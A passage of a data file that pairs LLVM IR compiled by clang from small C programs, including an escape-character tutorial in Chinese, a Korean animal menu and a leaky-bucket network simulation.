@.str.3 = private unnamed_addr constant [87 x i8] c"\E5\85\B6\E4\B8\AD\E5\8F\8D\E6\96\9C\E6\9D\A0\\\E4\B8\BA\E8\BD\AC\E6\84\8F\E7\AC\A6\EF\BC\8C\E5\85\B6\E5\90\8E\E9\85\8D\E5\90\88\E5\AD\97\E6\AF\8D\E3\80\81\E7\AC\A6\E5\8F\B7\E5\8F\AF\E4\BB\A5\E8\BE\93\E5\87\BA\E7\89\B9\E6\AE\8A\E5\AD\97\E7\AC\A6\E3\80\82\0A\00", align 1
@.str.4 = private unnamed_addr constant [59 x i8] c"\E5\A6\82\E6\9E\9C\E9\9C\80\E8\A6\81\E8\BE\93\E5\87\BA\E5\8F\8D\E6\96\9C\E6\9D\A0\\\EF\BC\8C\E5\9C\A8\E5\AD\97\E7\AC\A6\E4\B8\B2\E5\86\85\E8\A6\81\E5\86\99\E4\BD\9C\\\\\0A\00", align 1
@.str.5 = private unnamed_addr constant [41 x i8] c"\\n\E4\B8\BA\E6\8D\A2\E8\A1\8C\E7\AC\A6\E3\80\82\0A\E8\BF\99\E9\87\8C\E5\8F\A6\E8\B5\B7\E4\B8\80\E8\A1\8C\E4\BA\86\0A\00", align 1
@.str.6 = private unnamed_addr constant [41 x i8] c"\E5\8F\A6\E4\B8\80\E4\B8\AA\09\E9\87\8D\E8\A6\81\09symbol\09\E6\98\AF\09\E5\88\B6\E8\A1\A8\E7\AC\A6\\t\0A\00", align 1
@.str.7 = private unnamed_addr constant [38 x i8] c"\E5\AE\83\09\E5\8F\AF\E4\BB\A5\09\E4\BD\BF\09\E8\BE\93\E5\87\BA\09\E5\8F\98\E5\BE\97\09\E6\95\B4\E9\BD\90\0A\0A\00", align 1
@.str.8 = private unnamed_addr constant [29 x i8] c"\E5\85\B6\E4\BB\96\E5\B8\B8\E7\94\A8\E7\89\B9\E6\AE\8A\E5\AD\97\E7\AC\A6\EF\BC\9A\0A\00", align 1
@.str.9 = private unnamed_addr constant [15 x i8] c"\\'\09\E5\8D\95\E5\BC\95\E5\8F\B7'\0A\00", align 1
@.str.10 = private unnamed_addr constant [38 x i8] c"\\0\09(null)\EF\BC\8C\E5\AD\97\E7\AC\A6\E4\B8\B2\E7\BB\93\E5\B0\BE\E6\A0\87\E7\A4\BA\E7\AC\A6\0A\00", align 1
@.str.11 = private unnamed_addr constant [12 x i8] c"\\?\09\E9\97\AE\E5\8F\B7?\0A\00", align 1
@.str.12 = private unnamed_addr constant [25 x i8] c"\\b\09\E9\80\80\E6\A0\BC\E7\AC\A6(backspace)\0A\00", align 1
@.str.13 = private unnamed_addr constant [22 x i8] c"\\r\09\E5\9B\9E\E8\BD\A6\E7\AC\A6(return)\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
store i32 0, ptr %1, align 4
%2 = call i32 @printf(ptr noundef @.str)
%3 = call i32 @printf(ptr noundef @.str.1)
%4 = call i32 @printf(ptr noundef @.str.2)
%5 = call i32 @printf(ptr noundef @.str.3)
%6 = call i32 @printf(ptr noundef @.str.4)
%7 = call i32 @printf(ptr noundef @.str.5)
%8 = call i32 @printf(ptr noundef @.str.6)
%9 = call i32 @printf(ptr noundef @.str.7)
%10 = call i32 @printf(ptr noundef @.str.8)
%11 = call i32 @printf(ptr noundef @.str.9)
%12 = call i32 @printf(ptr noundef @.str.10)
%13 = call i32 @printf(ptr noundef @.str.11)
%14 = call i32 @printf(ptr noundef @.str.12)
%15 = call i32 @printf(ptr noundef @.str.13)
ret i32 0
}
declare i32 @printf(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpujshvlyt.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [14 x i8] c"Hello World!\0A\00", align 1
@.str.1 = private unnamed_addr constant [45 x i8] c"\0AC\E8\AF\AD\E8\A8\80\E7\9A\84\E5\AD\97\E7\AC\A6\E4\B8\B2\E4\B8\A4\E8\BE\B9\E7\94\A8\E5\8F\8C\E5\BC\95\E5\8F\B7\22...\22\0A\00", align 1
@.str.2 = private unnamed_addr constant [53 x i8] c"\E5\A6\82\E6\9E\9C\E9\9C\80\E8\A6\81\E8\BE\93\E5\87\BA\E5\8F\8C\E5\BC\95\E5\8F\B7\22\EF\BC\8C\E9\9C\80\E8\A6\81\E5\9C\A8\22\E5\89\8D\E9\9D\A2\E5\8A\A0\\\0A\00", align 1
@.str.3 = private unnamed_addr constant [87 x i8] c"\E5\85\B6\E4\B8\AD\E5\8F\8D\E6\96\9C\E6\9D\A0\\\E4\B8\BA\E8\BD\AC\E6\84\8F\E7\AC\A6\EF\BC\8C\E5\85\B6\E5\90\8E\E9\85\8D\E5\90\88\E5\AD\97\E6\AF\8D\E3\80\81\E7\AC\A6\E5\8F\B7\E5\8F\AF\E4\BB\A5\E8\BE\93\E5\87\BA\E7\89\B9\E6\AE\8A\E5\AD\97\E7\AC\A6\E3\80\82\0A\00", align 1
@.str.4 = private unnamed_addr constant [59 x i8] c"\E5\A6\82\E6\9E\9C\E9\9C\80\E8\A6\81\E8\BE\93\E5\87\BA\E5\8F\8D\E6\96\9C\E6\9D\A0\\\EF\BC\8C\E5\9C\A8\E5\AD\97\E7\AC\A6\E4\B8\B2\E5\86\85\E8\A6\81\E5\86\99\E4\BD\9C\\\\\0A\00", align 1
@.str.5 = private unnamed_addr constant [41 x i8] c"\\n\E4\B8\BA\E6\8D\A2\E8\A1\8C\E7\AC\A6\E3\80\82\0A\E8\BF\99\E9\87\8C\E5\8F\A6\E8\B5\B7\E4\B8\80\E8\A1\8C\E4\BA\86\0A\00", align 1
@.str.6 = private unnamed_addr constant [41 x i8] c"\E5\8F\A6\E4\B8\80\E4\B8\AA\09\E9\87\8D\E8\A6\81\09symbol\09\E6\98\AF\09\E5\88\B6\E8\A1\A8\E7\AC\A6\\t\0A\00", align 1
@.str.7 = private unnamed_addr constant [38 x i8] c"\E5\AE\83\09\E5\8F\AF\E4\BB\A5\09\E4\BD\BF\09\E8\BE\93\E5\87\BA\09\E5\8F\98\E5\BE\97\09\E6\95\B4\E9\BD\90\0A\0A\00", align 1
@.str.8 = private unnamed_addr constant [29 x i8] c"\E5\85\B6\E4\BB\96\E5\B8\B8\E7\94\A8\E7\89\B9\E6\AE\8A\E5\AD\97\E7\AC\A6\EF\BC\9A\0A\00", align 1
@.str.9 = private unnamed_addr constant [15 x i8] c"\\'\09\E5\8D\95\E5\BC\95\E5\8F\B7'\0A\00", align 1
@.str.10 = private unnamed_addr constant [38 x i8] c"\\0\09(null)\EF\BC\8C\E5\AD\97\E7\AC\A6\E4\B8\B2\E7\BB\93\E5\B0\BE\E6\A0\87\E7\A4\BA\E7\AC\A6\0A\00", align 1
@.str.11 = private unnamed_addr constant [12 x i8] c"\\?\09\E9\97\AE\E5\8F\B7?\0A\00", align 1
@.str.12 = private unnamed_addr constant [25 x i8] c"\\b\09\E9\80\80\E6\A0\BC\E7\AC\A6(backspace)\0A\00", align 1
@.str.13 = private unnamed_addr constant [22 x i8] c"\\r\09\E5\9B\9E\E8\BD\A6\E7\AC\A6(return)\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
store i32 0, ptr %1, align 4
%2 = call i32 @printf(ptr noundef @.str)
%3 = call i32 @printf(ptr noundef @.str.1)
%4 = call i32 @printf(ptr noundef @.str.2)
%5 = call i32 @printf(ptr noundef @.str.3)
%6 = call i32 @printf(ptr noundef @.str.4)
%7 = call i32 @printf(ptr noundef @.str.5)
%8 = call i32 @printf(ptr noundef @.str.6)
%9 = call i32 @printf(ptr noundef @.str.7)
%10 = call i32 @printf(ptr noundef @.str.8)
%11 = call i32 @printf(ptr noundef @.str.9)
%12 = call i32 @printf(ptr noundef @.str.10)
%13 = call i32 @printf(ptr noundef @.str.11)
%14 = call i32 @printf(ptr noundef @.str.12)
%15 = call i32 @printf(ptr noundef @.str.13)
ret i32 0
}
declare i32 @printf(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmph2u7hqko.c'
source_filename = "/tmp/tmph2u7hqko.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @my_exit(i32 noundef %0) #0 {
%2 = alloca i32, align 4
store i32 %0, ptr %2, align 4
%3 = call i32 (...) @resetltchars()
%4 = load i32, ptr %2, align 4
%5 = call i32 @exit(i32 noundef %4) #3
unreachable
}
declare i32 @resetltchars(...) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmph2u7hqko.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @my_exit(i32 noundef %0) #0 {
%2 = alloca i32, align 4
store i32 %0, ptr %2, align 4
%3 = call i32 (...) @resetltchars()
%4 = load i32, ptr %2, align 4
%5 = call i32 @exit(i32 noundef %4) #3
unreachable
}
declare i32 @resetltchars(...) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmppb2k7het.c'
source_filename = "/tmp/tmppb2k7het.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [13 x i8] c"unpack_alpha\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
%6 = load ptr, ptr %5, align 8
%7 = getelementptr inbounds ptr, ptr %6, i64 0
%8 = load ptr, ptr %7, align 8
%9 = call i64 @match_suffix(ptr noundef %8, ptr noundef @.str)
%10 = icmp eq i64 %9, 0
br i1 %10, label %11, label %15
11: ; preds = %2
%12 = load i32, ptr %4, align 4
%13 = load ptr, ptr %5, align 8
%14 = call i32 @unpackbin(i32 noundef %12, ptr noundef %13)
store i32 %14, ptr %3, align 4
br label %19
15: ; preds = %2
%16 = load i32, ptr %4, align 4
%17 = load ptr, ptr %5, align 8
%18 = call i32 @pack_alpha(i32 noundef %16, ptr noundef %17)
store i32 %18, ptr %3, align 4
br label %19
19: ; preds = %15, %11
%20 = load i32, ptr %3, align 4
ret i32 %20
}
declare i64 @match_suffix(ptr noundef, ptr noundef) #1
declare i32 @unpackbin(i32 noundef, ptr noundef) #1
declare i32 @pack_alpha(i32 noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmppb2k7het.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [13 x i8] c"unpack_alpha\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
%6 = load ptr, ptr %5, align 8
%7 = getelementptr inbounds ptr, ptr %6, i64 0
%8 = load ptr, ptr %7, align 8
%9 = call i64 @match_suffix(ptr noundef %8, ptr noundef @.str)
%10 = icmp eq i64 %9, 0
br i1 %10, label %11, label %15
11: ; preds = %2
%12 = load i32, ptr %4, align 4
%13 = load ptr, ptr %5, align 8
%14 = call i32 @unpackbin(i32 noundef %12, ptr noundef %13)
store i32 %14, ptr %3, align 4
br label %19
15: ; preds = %2
%16 = load i32, ptr %4, align 4
%17 = load ptr, ptr %5, align 8
%18 = call i32 @pack_alpha(i32 noundef %16, ptr noundef %17)
store i32 %18, ptr %3, align 4
br label %19
19: ; preds = %15, %11
%20 = load i32, ptr %3, align 4
ret i32 %20
}
declare i64 @match_suffix(ptr noundef, ptr noundef) #1
declare i32 @unpackbin(i32 noundef, ptr noundef) #1
declare i32 @pack_alpha(i32 noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpzplhk3fy.c'
source_filename = "/tmp/tmpzplhk3fy.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [85 x i8] c"1. \EA\B0\9C\0A2. \EA\B3\A0\EC\96\91\EC\9D\B4\0A3. \EB\B3\91\EC\95\84\EB\A6\AC\0A\EC\98\81\EC\96\B4\EB\A1\9C \EC\95\8C\EA\B3\A0 \EC\8B\B6\EC\9D\80 \EB\B2\88\ED\98\B8\EB\A5\BC \EC\9E\85\EB\A0\A5\ED\95\98\EC\84\B8\EC\9A\94. \00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"%d\00", align 1
@.str.2 = private unnamed_addr constant [14 x i8] c"I don't know.\00", align 1
@.str.3 = private unnamed_addr constant [4 x i8] c"dog\00", align 1
@.str.4 = private unnamed_addr constant [4 x i8] c"cat\00", align 1
@.str.5 = private unnamed_addr constant [6 x i8] c"chick\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
store i32 0, ptr %1, align 4
%3 = call i32 @printf(ptr noundef @.str)
%4 = call i32 @scanf(ptr noundef @.str.1, ptr noundef %2)
%5 = load i32, ptr %2, align 4
switch i32 %5, label %6 [
i32 1, label %8
i32 2, label %10
i32 3, label %12
]
6: ; preds = %0
%7 = call i32 @printf(ptr noundef @.str.2)
br label %14
8: ; preds = %0
%9 = call i32 @printf(ptr noundef @.str.3)
br label %14
10: ; preds = %0
%11 = call i32 @printf(ptr noundef @.str.4)
br label %14
12: ; preds = %0
%13 = call i32 @printf(ptr noundef @.str.5)
br label %14
14: ; preds = %12, %10, %8, %6
%15 = load i32, ptr %1, align 4
ret i32 %15
}
declare i32 @printf(ptr noundef) #1
declare i32 @scanf(ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpzplhk3fy.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [85 x i8] c"1. \EA\B0\9C\0A2. \EA\B3\A0\EC\96\91\EC\9D\B4\0A3. \EB\B3\91\EC\95\84\EB\A6\AC\0A\EC\98\81\EC\96\B4\EB\A1\9C \EC\95\8C\EA\B3\A0 \EC\8B\B6\EC\9D\80 \EB\B2\88\ED\98\B8\EB\A5\BC \EC\9E\85\EB\A0\A5\ED\95\98\EC\84\B8\EC\9A\94. \00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"%d\00", align 1
@.str.2 = private unnamed_addr constant [14 x i8] c"I don't know.\00", align 1
@.str.3 = private unnamed_addr constant [4 x i8] c"dog\00", align 1
@.str.4 = private unnamed_addr constant [4 x i8] c"cat\00", align 1
@.str.5 = private unnamed_addr constant [6 x i8] c"chick\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
store i32 0, ptr %1, align 4
%3 = call i32 @printf(ptr noundef @.str)
%4 = call i32 @scanf(ptr noundef @.str.1, ptr noundef %2)
%5 = load i32, ptr %2, align 4
switch i32 %5, label %6 [
i32 1, label %8
i32 2, label %10
i32 3, label %12
]
6: ; preds = %0
%7 = call i32 @printf(ptr noundef @.str.2)
br label %14
8: ; preds = %0
%9 = call i32 @printf(ptr noundef @.str.3)
br label %14
10: ; preds = %0
%11 = call i32 @printf(ptr noundef @.str.4)
br label %14
12: ; preds = %0
%13 = call i32 @printf(ptr noundef @.str.5)
br label %14
14: ; preds = %12, %10, %8, %6
%15 = load i32, ptr %1, align 4
ret i32 %15
}
declare i32 @printf(ptr noundef) #1
declare i32 @scanf(ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmph7cfvfl1.c'
source_filename = "/tmp/tmph7cfvfl1.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [20 x i8] c"Enter bucket size :\00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"%d\00", align 1
@.str.2 = private unnamed_addr constant [26 x i8] c"Enter transmission rate :\00", align 1
@.str.3 = private unnamed_addr constant [47 x i8] c"Enter The duration of simulation in seconds : \00", align 1
@.str.4 = private unnamed_addr constant [31 x i8] c"Enter packet size at %d sec : \00", align 1
@.str.5 = private unnamed_addr constant [65 x i8] c"\0ASecond|Packet Recieved|Packet Sent|Packet Left|Packet Dropped|\0A\00", align 1
@.str.6 = private unnamed_addr constant [64 x i8] c"--------------------------------------------------------------\0A\00", align 1
@.str.7 = private unnamed_addr constant [4 x i8] c"\09%d\00", align 1
@.str.8 = private unnamed_addr constant [3 x i8] c"\090\00", align 1
@.str.9 = private unnamed_addr constant [5 x i8] c"\09\09%d\00", align 1
@.str.10 = private unnamed_addr constant [6 x i8] c"\09\09%d\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca i32, align 4
%7 = alloca i32, align 4
%8 = alloca [25 x i32], align 16
%9 = alloca i32, align 4
store i32 0, ptr %1, align 4
store i32 0, ptr %2, align 4
store i32 0, ptr %6, align 4
%10 = call i32 (ptr, ...) @printf(ptr noundef @.str)
%11 = call i32 @scanf(ptr noundef @.str.1, ptr noundef %5)
%12 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
%13 = call i32 @scanf(ptr noundef @.str.1, ptr noundef %9)
%14 = call i32 (ptr, ...) @printf(ptr noundef @.str.3)
%15 = call i32 @scanf(ptr noundef @.str.1, ptr noundef %4)
store i32 0, ptr %7, align 4
br label %16
16: ; preds = %28, %0
%17 = load i32, ptr %7, align 4
%18 = load i32, ptr %4, align 4
%19 = icmp slt i32 %17, %18
br i1 %19, label %20, label %31
20: ; preds = %16
%21 = load i32, ptr %7, align 4
%22 = add nsw i32 %21, 1
%23 = call i32 (ptr, ...) @printf(ptr noundef @.str.4, i32 noundef %22)
%24 = load i32, ptr %7, align 4
%25 = sext i32 %24 to i64
%26 = getelementptr inbounds [25 x i32], ptr %8, i64 0, i64 %25
%27 = call i32 @scanf(ptr noundef @.str.1, ptr noundef %26)
br label %28
28: ; preds = %20
%29 = load i32, ptr %7, align 4
%30 = add nsw i32 %29, 1
store i32 %30, ptr %7, align 4
br label %16, !llvm.loop !6
31: ; preds = %16
%32 = call i32 (ptr, ...) @printf(ptr noundef @.str.5)
%33 = call i32 (ptr, ...) @printf(ptr noundef @.str.6)
store i32 0, ptr %7, align 4
br label %34
34: ; preds = %92, %31
%35 = load i32, ptr %7, align 4
%36 = load i32, ptr %4, align 4
%37 = icmp slt i32 %35, %36
br i1 %37, label %41, label %38
38: ; preds = %34
%39 = load i32, ptr %6, align 4
%40 = icmp ne i32 %39, 0
br label %41
41: ; preds = %38, %34
%42 = phi i1 [ true, %34 ], [ %40, %38 ]
br i1 %42, label %43, label %95
43: ; preds = %41
%44 = load i32, ptr %7, align 4
%45 = load i32, ptr %4, align 4
%46 = icmp slt i32 %44, %45
br i1 %46, label %47, label %54
47: ; preds = %43
%48 = load i32, ptr %7, align 4
%49 = sext i32 %48 to i64
%50 = getelementptr inbounds [25 x i32], ptr %8, i64 0, i64 %49
%51 = load i32, ptr %50, align 4
%52 = load i32, ptr %6, align 4
%53 = add nsw i32 %52, %51
store i32 %53, ptr %6, align 4
br label %54
54: ; preds = %47, %43
%55 = load i32, ptr %6, align 4
%56 = load i32, ptr %5, align 4
%57 = icmp sgt i32 %55, %56
br i1 %57, label %58, label %63
58: ; preds = %54
%59 = load i32, ptr %6, align 4
%60 = load i32, ptr %5, align 4
%61 = sub nsw i32 %59, %60
store i32 %61, ptr %2, align 4
%62 = load i32, ptr %5, align 4
store i32 %62, ptr %6, align 4
br label %63
63: ; preds = %58, %54
%64 = load i32, ptr %7, align 4
%65 = add nsw i32 %64, 1
%66 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %65)
%67 = load i32, ptr %7, align 4
%68 = load i32, ptr %4, align 4
%69 = icmp slt i32 %67, %68
br i1 %69, label %70, label %76
70: ; preds = %63
%71 = load i32, ptr %7, align 4
%72 = sext i32 %71 to i64
%73 = getelementptr inbounds [25 x i32], ptr %8, i64 0, i64 %72
%74 = load i32, ptr %73, align 4
%75 = call i32 (ptr, ...) @printf(ptr noundef @.str.7, i32 noundef %74)
br label %78
76: ; preds = %63
%77 = call i32 (ptr, ...) @printf(ptr noundef @.str.8)
br label %78
78: ; preds = %76, %70
%79 = load i32, ptr %6, align 4
%80 = load i32, ptr %9, align 4
%81 = call i32 @min(i32 noundef %79, i32 noundef %80)
store i32 %81, ptr %3, align 4
%82 = load i32, ptr %3, align 4
%83 = call i32 (ptr, ...) @printf(ptr noundef @.str.9, i32 noundef %82)
%84 = load i32, ptr %6, align 4
%85 = load i32, ptr %3, align 4
%86 = sub nsw i32 %84, %85
store i32 %86, ptr %6, align 4
%87 = load i32, ptr %6, align 4
%88 = call i32 (ptr, ...) @printf(ptr noundef @.str.9, i32 noundef %87)
%89 = load i32, ptr %2, align 4
%90 = call i32 (ptr, ...) @printf(ptr noundef @.str.10, i32 noundef %89)
store i32 0, ptr %2, align 4
